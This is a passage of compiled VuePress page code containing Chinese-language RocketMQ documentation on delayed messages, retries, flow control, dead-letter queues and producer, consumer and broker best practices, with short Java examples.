定时消息")]),t._v(" "),s("p",[t._v("定时消息(延迟队列)是指消息发送到broker后,不会立即被消费,等待特定时间投递给真正的topic。\nbroker有配置项messageDelayLevel,默认值为“1s 5s 10s 30s 1m 2m 3m 4m 5m 6m 7m 8m 9m 10m 20m 30m 1h 2h”,18个level。可以配置自定义messageDelayLevel。注意,messageDelayLevel是broker的属性,不属于某个topic。发消息时,设置delayLevel等级即可:msg.setDelayLevel(level)。level有以下三种情况:")]),t._v(" "),s("ul",[s("li",[t._v("level == 0,消息为非延迟消息")]),t._v(" "),s("li",[t._v("1<=level<=maxLevel,消息延迟特定时间,例如level==1,延迟1s")]),t._v(" "),s("li",[t._v("level > maxLevel,则level== maxLevel,例如level==20,延迟2h")])]),t._v(" "),s("p",[t._v("定时消息会暂存在名为SCHEDULE_TOPIC_XXXX的topic中,并根据delayTimeLevel存入特定的queue,queueId = delayTimeLevel – 1,即一个queue只存相同延迟的消息,保证具有相同发送延迟的消息能够顺序消费。broker会调度地消费SCHEDULE_TOPIC_XXXX,将消息写入真实的topic。")]),t._v(" "),s("p",[t._v("需要注意的是,定时消息会在第一次写入和调度写入真实topic时都会计数,因此发送数量、tps都会变高。")]),t._v(" "),s("h3",{attrs:{id:"消息重试"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消息重试"}},[t._v("#")]),t._v(" 消息重试")]),t._v(" "),s("p",[t._v("Consumer消费消息失败后,要提供一种重试机制,令消息再消费一次。Consumer消费消息失败通常可以认为有以下几种情况:")]),t._v(" "),s("ul",[s("li",[t._v("由于消息本身的原因,例如反序列化失败,消息数据本身无法处理(例如话费充值,当前消息的手机号被注销,无法充值)等。这种错误通常需要跳过这条消息,再消费其它消息,而这条失败的消息即使立刻重试消费,99%也不成功,所以最好提供一种定时重试机制,即过10秒后再重试。")]),t._v(" "),s("li",[t._v("由于依赖的下游应用服务不可用,例如db连接不可用,外系统网络不可达等。遇到这种错误,即使跳过当前失败的消息,消费其他消息同样也会报错。这种情况建议应用sleep 30s,再消费下一条消息,这样可以减轻Broker重试消息的压力。")])]),t._v(" "),s("p",[t._v("RocketMQ会为每个消费组都设置一个Topic名称为“%RETRY%+consumerGroup”的重试队列(这里需要注意的是,这个Topic的重试队列是针对消费组,而不是针对每个Topic设置的),用于暂时保存因为各种异常而导致Consumer端无法消费的消息。")]),t._v(" "),s("p",[t._v("考虑到异常恢复起来需要一些时间,会为重试队列设置多个重试级别,每个重试级别都有与之对应的重新投递延时,重试次数越多投递延时就越大。RocketMQ对于重试消息的处理是先保存至Topic名称为“SCHEDULE_TOPIC_XXXX”的延迟队列中,后台定时任务按照对应的时间进行Delay后重新保存至“%RETRY%+consumerGroup”的重试队列中。")]),t._v(" "),s("h3",{attrs:{id:"消息重投"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消息重投"}},[t._v("#")]),t._v(" 消息重投")]),t._v(" "),s("p",[t._v("生产者在发送消息时,同步消息失败会重投,异步消息有重试,oneway没有任何保证。消息重投保证消息尽可能发送成功、不丢失,但可能会造成消息重复,消息重复在RocketMQ中是无法避免的问题。消息重复在一般情况下不会发生,当出现消息量大、网络抖动,消息重复就会是大概率事件。另外,生产者主动重发、consumer负载变化也会导致重复消息。如下方法可以设置消息重试策略:")]),t._v(" "),s("ul",[s("li",[t._v("retryTimesWhenSendFailed:同步发送失败重投次数,默认为2,因此生产者会最多尝试发送retryTimesWhenSendFailed + 1次。不会选择上次失败的broker,尝试向其他broker发送,最大程度保证消息不丢。超过重投次数,抛出异常,由客户端保证消息不丢。当出现RemotingException、MQClientException和部分MQBrokerException时会重投。")]),t._v(" "),s("li",[t._v("retryTimesWhenSendAsyncFailed:异步发送失败重试次数,异步重试不会选择其他broker,仅在同一个broker上做重试,不保证消息不丢。")]),t._v(" "),s("li",[t._v("retryAnotherBrokerWhenNotStoreOK:消息刷盘(主或备)超时或slave不可用(返回状态非SEND_OK),是否尝试发送到其他broker,默认false。十分重要消息可以开启。")])]),t._v(" "),s("h3",{attrs:{id:"流量控制"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#流量控制"}},[t._v("#")]),t._v(" 流量控制")]),t._v(" "),s("p",[t._v("生产者流控,因为broker处理能力达到瓶颈;消费者流控,因为消费能力达到瓶颈。")]),t._v(" "),s("p",[t._v("生产者流控:")]),t._v(" "),s("ul",[s("li",[t._v("commitLog文件被锁时间超过osPageCacheBusyTimeOutMills时,参数默认为1000ms,返回流控。")]),t._v(" "),s("li",[t._v("如果开启transientStorePoolEnable == true,且broker为异步刷盘的主机,且transientStorePool中资源不足,拒绝当前send请求,返回流控。")]),t._v(" "),s("li",[t._v("broker每隔10ms检查send请求队列头部请求的等待时间,如果超过waitTimeMillsInSendQueue,默认200ms,拒绝当前send请求,返回流控。")]),t._v(" "),s("li",[t._v("broker通过拒绝send 请求方式实现流量控制。")])]),t._v(" "),s("p",[t._v("注意,生产者流控,不会尝试消息重投。")]),t._v(" "),s("p",[t._v("消费者流控:")]),t._v(" "),s("ul",[s("li",[t._v("消费者本地缓存消息数超过pullThresholdForQueue时,默认1000。")]),t._v(" "),s("li",[t._v("消费者本地缓存消息大小超过pullThresholdSizeForQueue时,默认100MB。")]),t._v(" "),s("li",[t._v("消费者本地缓存消息跨度超过consumeConcurrentlyMaxSpan时,默认2000。")])]),t._v(" "),s("p",[t._v("消费者流控的结果是降低拉取频率。")]),t._v(" "),s("h3",{attrs:{id:"死信队列"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#死信队列"}},[t._v("#")]),t._v(" 死信队列")]),t._v(" "),s("p",[t._v("死信队列用于处理无法被正常消费的消息。当一条消息初次消费失败,消息队列会自动进行消息重试;达到最大重试次数后,若消费依然失败,则表明消费者在正常情况下无法正确地消费该消息,此时,消息队列 不会立刻将消息丢弃,而是将其发送到该消费者对应的特殊队列中。")]),t._v(" "),s("p",[t._v("RocketMQ将这种正常情况下无法被消费的消息称为死信消息(Dead-Letter Message),将存储死信消息的特殊队列称为死信队列(Dead-Letter Queue)。在RocketMQ中,可以通过使用console控制台对死信队列中的消息进行重发来使得消费者实例再次进行消费。")]),t._v(" "),s("h2",{attrs:{id:"rocketmq最佳实践"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#rocketmq最佳实践"}},[t._v("#")]),t._v(" RocketMQ最佳实践")]),t._v(" "),s("h3",{attrs:{id:"生产者"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#生产者"}},[t._v("#")]),t._v(" 生产者")]),t._v(" "),s("h4",{attrs:{id:"发送消息注意事项"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#发送消息注意事项"}},[t._v("#")]),t._v(" 发送消息注意事项")]),t._v(" "),s("p",[s("strong",[t._v("Tags的使用")])]),t._v(" "),s("p",[t._v('一个应用尽可能用一个Topic,而消息子类型则可以用tags来标识。tags可以由应用自由设置,只有生产者在发送消息设置了tags,消费方在订阅消息时才可以利用tags通过broker做消息过滤:message.setTags("TagA")。')]),t._v(" "),s("p",[s("strong",[t._v("Keys的使用")])]),t._v(" "),s("p",[t._v("每个消息在业务层面的唯一标识码要设置到keys字段,方便将来定位消息丢失问题。服务器会为每个消息创建索引(哈希索引),应用可以通过topic、key来查询这条消息内容,以及消息被谁消费。由于是哈希索引,请务必保证key尽可能唯一,这样可以避免潜在的哈希冲突。")]),t._v(" "),s("div",{staticClass:"language-java line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-java"}},[s("code",[s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 订单Id ")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("String")]),t._v(" orderId "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v('"20034568923546"')]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" \nmessage"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("setKeys")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("orderId"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" \n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br")])]),s("p",[s("strong",[t._v("日志的打印")])]),t._v(" "),s("p",[t._v("消息发送成功或者失败要打印消息日志,务必要打印SendResult和key字段。send消息方法只要不抛异常,就代表发送成功。发送成功会有多个状态,在sendResult里定义。以下对每个状态进行说明:")]),t._v(" "),s("ul",[s("li",[s("strong",[t._v("SEND_OK")])])]),t._v(" "),s("p",[t._v("消息发送成功。要注意的是消息发送成功也不意味着它是可靠的。要确保不会丢失任何消息,还应启用同步Master服务器或同步刷盘,即SYNC_MASTER或SYNC_FLUSH。")]),t._v(" "),s("ul",[s("li",[s("strong",[t._v("FLUSH_DISK_TIMEOUT")])])]),t._v(" "),s("p",[t._v("消息发送成功但是服务器刷盘超时。此时消息已经进入服务器队列(内存),只有服务器宕机,消息才会丢失。消息存储配置参数中可以设置刷盘方式和同步刷盘时间长度,如果Broker服务器设置了刷盘方式为同步刷盘,即FlushDiskType=SYNC_FLUSH(默认为异步刷盘方式),当Broker服务器未在同步刷盘时间内(默认为5s)完成刷盘,则将返回该状态——刷盘超时。")]),t._v(" "),s("ul",[s("li",[s("strong",[t._v("FLUSH_SLAVE_TIMEOUT")])])]),t._v(" "),s("p",[t._v("消息发送成功,但是服务器同步到Slave时超时。此时消息已经进入服务器队列,只有服务器宕机,消息才会丢失。如果Broker服务器的角色是同步Master,即SYNC_MASTER(默认是异步Master即ASYNC_MASTER),并且从Broker服务器未在同步刷盘时间(默认为5秒)内完成与主服务器的同步,则将返回该状态——数据同步到Slave服务器超时。")]),t._v(" "),s("ul",[s("li",[s("strong",[t._v("SLAVE_NOT_AVAILABLE")])])]),t._v(" "),s("p",[t._v("消息发送成功,但是此时Slave不可用。如果Broker服务器的角色是同步Master,即SYNC_MASTER(默认是异步Master服务器即ASYNC_MASTER),但没有配置slave Broker服务器,则将返回该状态——无Slave服务器可用。")]),t._v(" "),s("h4",{attrs:{id:"消息发送失败处理方式"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消息发送失败处理方式"}},[t._v("#")]),t._v(" 消息发送失败处理方式")]),t._v(" "),s("p",[t._v("Producer的send方法本身支持内部重试,重试逻辑如下:")]),t._v(" "),s("ul",[s("li",[t._v("至多重试2次。")]),t._v(" "),s("li",[t._v("如果同步模式发送失败,则轮转到下一个Broker,如果异步模式发送失败,则只会在当前Broker进行重试。这个方法的总耗时时间不超过sendMsgTimeout设置的值,默认10s。")]),t._v(" "),s("li",[t._v("如果本身向broker发送消息产生超时异常,就不会再重试。")])]),t._v(" "),s("p",[t._v("以上策略也是在一定程度上保证了消息可以发送成功。如果业务对消息可靠性要求比较高,建议应用增加相应的重试逻辑:比如调用send同步方法发送失败时,则尝试将消息存储到db,然后由后台线程定时重试,确保消息一定到达Broker。")]),t._v(" "),s("p",[t._v("上述db重试方式为什么没有集成到MQ客户端内部做,而是要求应用自己去完成,主要基于以下几点考虑:首先,MQ的客户端设计为无状态模式,方便任意的水平扩展,且对机器资源的消耗仅仅是cpu、内存、网络。其次,如果MQ客户端内部集成一个KV存储模块,那么数据只有同步落盘才能较可靠,而同步落盘本身性能开销较大,所以通常会采用异步落盘,又由于应用关闭过程不受MQ运维人员控制,可能经常会发生 kill -9 这样暴力方式关闭,造成数据没有及时落盘而丢失。第三,Producer所在机器的可靠性较低,一般为虚拟机,不适合存储重要数据。综上,建议重试过程交由应用来控制。")]),t._v(" "),s("h4",{attrs:{id:"选择oneway形式发送"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#选择oneway形式发送"}},[t._v("#")]),t._v(" 选择oneway形式发送")]),t._v(" "),s("p",[t._v("通常消息的发送是这样一个过程:")]),t._v(" "),s("ul",[s("li",[t._v("客户端发送请求到服务器")]),t._v(" "),s("li",[t._v("服务器处理请求")]),t._v(" "),s("li",[t._v("服务器向客户端返回应答")])]),t._v(" "),s("p",[t._v("所以,一次消息发送的耗时时间是上述三个步骤的总和,而某些场景要求耗时非常短,但是对可靠性要求并不高,例如日志收集类应用,此类应用可以采用oneway形式调用,oneway形式只发送请求不等待应答,而发送请求在客户端实现层面仅仅是一个操作系统系统调用的开销,即将数据写入客户端的socket缓冲区,此过程耗时通常在微秒级。")]),t._v(" "),s("h3",{attrs:{id:"消费者"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消费者"}},[t._v("#")]),t._v(" 消费者")]),t._v(" "),s("h4",{attrs:{id:"消费过程幂等"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消费过程幂等"}},[t._v("#")]),t._v(" 消费过程幂等")]),t._v(" "),s("p",[t._v("RocketMQ无法避免消息重复(Exactly-Once),所以如果业务对消费重复非常敏感,务必要在业务层面进行去重处理。可以借助关系数据库进行去重。首先需要确定消息的唯一键,可以是msgId,也可以是消息内容中的唯一标识字段,例如订单Id等。在消费之前判断唯一键是否在关系数据库中存在。如果不存在则插入,并消费,否则跳过。(实际过程要考虑原子性问题,判断是否存在可以尝试插入,如果报主键冲突,则插入失败,直接跳过)")]),t._v(" "),s("p",[t._v("msgId一定是全局唯一标识符,但是实际使用中,可能会存在相同的消息有两个不同msgId的情况(消费者主动重发、因客户端重投机制导致的重复等),这种情况就需要使业务字段进行重复消费。")]),t._v(" "),s("h4",{attrs:{id:"消费速度慢的处理方式"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消费速度慢的处理方式"}},[t._v("#")]),t._v(" 消费速度慢的处理方式")]),t._v(" "),s("p",[s("strong",[t._v("提高消费并行度")])]),t._v(" "),s("p",[t._v("绝大部分消息消费行为都属于 IO 密集型,即可能是操作数据库,或者调用 RPC,这类消费行为的消费速度在于后端数据库或者外系统的吞吐量,通过增加消费并行度,可以提高总的消费吞吐量,但是并行度增加到一定程度,反而会下降。所以,应用必须要设置合理的并行度。 如下有几种修改消费并行度的方法:")]),t._v(" "),s("ul",[s("li",[t._v("同一个 ConsumerGroup 下,通过增加 Consumer 实例数量来提高并行度(需要注意的是超过订阅队列数的 Consumer 实例无效)。可以通过加机器,或者在已有机器启动多个进程的方式。")]),t._v(" "),s("li",[t._v("提高单个 Consumer 的消费并行线程,通过修改参数 consumeThreadMin、consumeThreadMax实现。")])]),t._v(" "),s("p",[s("strong",[t._v("批量方式消费")])]),t._v(" "),s("p",[t._v("某些业务流程如果支持批量方式消费,则可以很大程度上提高消费吞吐量,例如订单扣款类应用,一次处理一个订单耗时 1 s,一次处理 10 个订单可能也只耗时 2 s,这样即可大幅度提高消费的吞吐量,通过设置 consumer的 consumeMessageBatchMaxSize 返个参数,默认是 1,即一次只消费一条消息,例如设置为 N,那么每次消费的消息数小于等于 N。")]),t._v(" "),s("p",[s("strong",[t._v("跳过非重要消息")])]),t._v(" "),s("p",[t._v("发生消息堆积时,如果消费速度一直追不上发送速度,如果业务对数据要求不高的话,可以选择丢弃不重要的消息。例如,当某个队列的消息数堆积到100000条以上,则尝试丢弃部分或全部消息,这样就可以快速追上发送消息的速度。示例代码如下:")]),t._v(" "),s("div",{staticClass:"language-java line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-java"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ConsumeConcurrentlyStatus")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("consumeMessage")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("List")]),s("span",{pre:!0,attrs:{class:"token generics"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("MessageExt")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v(" msgs"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ConsumeConcurrentlyContext")]),t._v(" context"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("long")]),t._v(" offset "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" msgs"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("get")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("0")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("getQueueOffset")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("String")]),t._v(" maxOffset "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("\n msgs"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("get")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("0")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("getProperty")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("Message")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("PROPERTY_MAX_OFFSET")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("long")]),t._v(" diff "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("Long")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("parseLong")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("maxOffset"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v(" offset"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("if")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("diff "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(">")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("100000")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// TODO 消息堆积情况的特殊处理")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("return")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ConsumeConcurrentlyStatus")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("CONSUME_SUCCESS")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// TODO 正常消费过程")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("return")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ConsumeConcurrentlyStatus")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("CONSUME_SUCCESS")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v(" \n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br"),s("span",{staticClass:"line-number"},[t._v("10")]),s("br"),s("span",{staticClass:"line-number"},[t._v("11")]),s("br"),s("span",{staticClass:"line-number"},[t._v("12")]),s("br"),s("span",{staticClass:"line-number"},[t._v("13")]),s("br"),s("span",{staticClass:"line-number"},[t._v("14")]),s("br")])]),s("p",[s("strong",[t._v("优化每条消息消费过程")])]),t._v(" "),s("p",[t._v("举例如下,某条消息的消费过程如下:")]),t._v(" "),s("ul",[s("li",[t._v("根据消息从 DB 查询【数据 1】")]),t._v(" "),s("li",[t._v("根据消息从 DB 查询【数据 2】")]),t._v(" "),s("li",[t._v("复杂的业务计算")]),t._v(" "),s("li",[t._v("向 DB 插入【数据 3】")]),t._v(" "),s("li",[t._v("向 DB 插入【数据 4】")])]),t._v(" "),s("p",[t._v("这条消息的消费过程中有4次与 DB的 交互,如果按照每次 5ms 计算,那么总共耗时 20ms,假设业务计算耗时 5ms,那么总过耗时 25ms,所以如果能把 4 次 DB 交互优化为 2 次,那么总耗时就可以优化到 15ms,即总体性能提高了 40%。所以应用如果对时延敏感的话,可以把DB部署在SSD硬盘,相比于SCSI磁盘,前者的RT会小很多。")]),t._v(" "),s("h4",{attrs:{id:"消费打印日志"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消费打印日志"}},[t._v("#")]),t._v(" 消费打印日志")]),t._v(" "),s("p",[t._v("如果消息量较少,建议在消费入口方法打印消息,消费耗时等,方便后续排查问题。")]),t._v(" "),s("div",{staticClass:"language-java line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-java"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ConsumeConcurrentlyStatus")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("consumeMessage")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("List")]),s("span",{pre:!0,attrs:{class:"token generics"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("MessageExt")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v(" msgs"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ConsumeConcurrentlyContext")]),t._v(" context"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n log"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("info")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v('"RECEIVE_MSG_BEGIN: "')]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("+")]),t._v(" msgs"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("toString")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// TODO 正常消费过程")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("return")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ConsumeConcurrentlyStatus")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("CONSUME_SUCCESS")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v(" \n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br")])]),s("p",[t._v("如果能打印每条消息消费耗时,那么在排查消费慢等线上问题时,会更方便。")]),t._v(" "),s("h4",{attrs:{id:"其他消费建议"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#其他消费建议"}},[t._v("#")]),t._v(" 其他消费建议")]),t._v(" "),s("p",[s("strong",[t._v("关于消费者和订阅")])]),t._v(" "),s("p",[t._v("第一件需要注意的事情是,不同的消费者组可以独立的消费一些 topic,并且每个消费者组都有自己的消费偏移量,请确保同一组内的每个消费者订阅信息保持一致。")]),t._v(" "),s("p",[s("strong",[t._v("关于有序消息")])]),t._v(" "),s("p",[t._v("消费者将锁定每个消息队列,以确保他们被逐个消费,虽然这将会导致性能下降,但是当你关心消息顺序的时候会很有用。我们不建议抛出异常,你可以返回 ConsumeOrderlyStatus.SUSPEND_CURRENT_QUEUE_A_MOMENT 作为替代。")]),t._v(" "),s("p",[s("strong",[t._v("关于并发消费")])]),t._v(" "),s("p",[t._v("顾名思义,消费者将并发消费这些消息,建议你使用它来获得良好性能,我们不建议抛出异常,你可以返回 ConsumeConcurrentlyStatus.RECONSUME_LATER 作为替代。")]),t._v(" "),s("p",[s("strong",[t._v("关于消费状态Consume Status")])]),t._v(" "),s("p",[t._v("对于并发的消费监听器,你可以返回 RECONSUME_LATER 来通知消费者现在不能消费这条消息,并且希望可以稍后重新消费它。然后,你可以继续消费其他消息。对于有序的消息监听器,因为你关心它的顺序,所以不能跳过消息,但是你可以返回SUSPEND_CURRENT_QUEUE_A_MOMENT 告诉消费者等待片刻。")]),t._v(" "),s("p",[s("strong",[t._v("关于Blocking")])]),t._v(" "),s("p",[t._v("不建议阻塞监听器,因为它会阻塞线程池,并最终可能会终止消费进程")]),t._v(" "),s("p",[s("strong",[t._v("关于线程数设置")])]),t._v(" "),s("p",[t._v("消费者使用 ThreadPoolExecutor 在内部对消息进行消费,所以你可以通过设置 setConsumeThreadMin 或 setConsumeThreadMax 来改变它。")]),t._v(" "),s("p",[s("strong",[t._v("关于消费位点")])]),t._v(" "),s("p",[t._v("当建立一个新的消费者组时,需要决定是否需要消费已经存在于 Broker 中的历史消息CONSUME_FROM_LAST_OFFSET 将会忽略历史消息,并消费之后生成的任何消息。CONSUME_FROM_FIRST_OFFSET 将会消费每个存在于 Broker 中的信息。你也可以使用 CONSUME_FROM_TIMESTAMP 来消费在指定时间戳后产生的消息。")]),t._v(" "),s("h3",{attrs:{id:"broker"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#broker"}},[t._v("#")]),t._v(" Broker")]),t._v(" "),s("h4",{attrs:{id:"broker-角色"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#broker-角色"}},[t._v("#")]),t._v(" Broker 角色")]),t._v(" "),s("p",[t._v("Broker 角色分为 ASYNC_MASTER(异步主机)、SYNC_MASTER(同步主机)以及SLAVE(从机)。如果对消息的可靠性要求比较严格,可以采用 SYNC_MASTER加SLAVE的部署方式。如果对消息可靠性要求不高,可以采用ASYNC_MASTER加SLAVE的部署方式。如果只是测试方便,则可以选择仅ASYNC_MASTER或仅SYNC_MASTER的部署方式。")]),t._v(" "),s("h4",{attrs:{id:"flushdisktype"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#flushdisktype"}},[t._v("#")]),t._v(" FlushDiskType")]),t._v(" 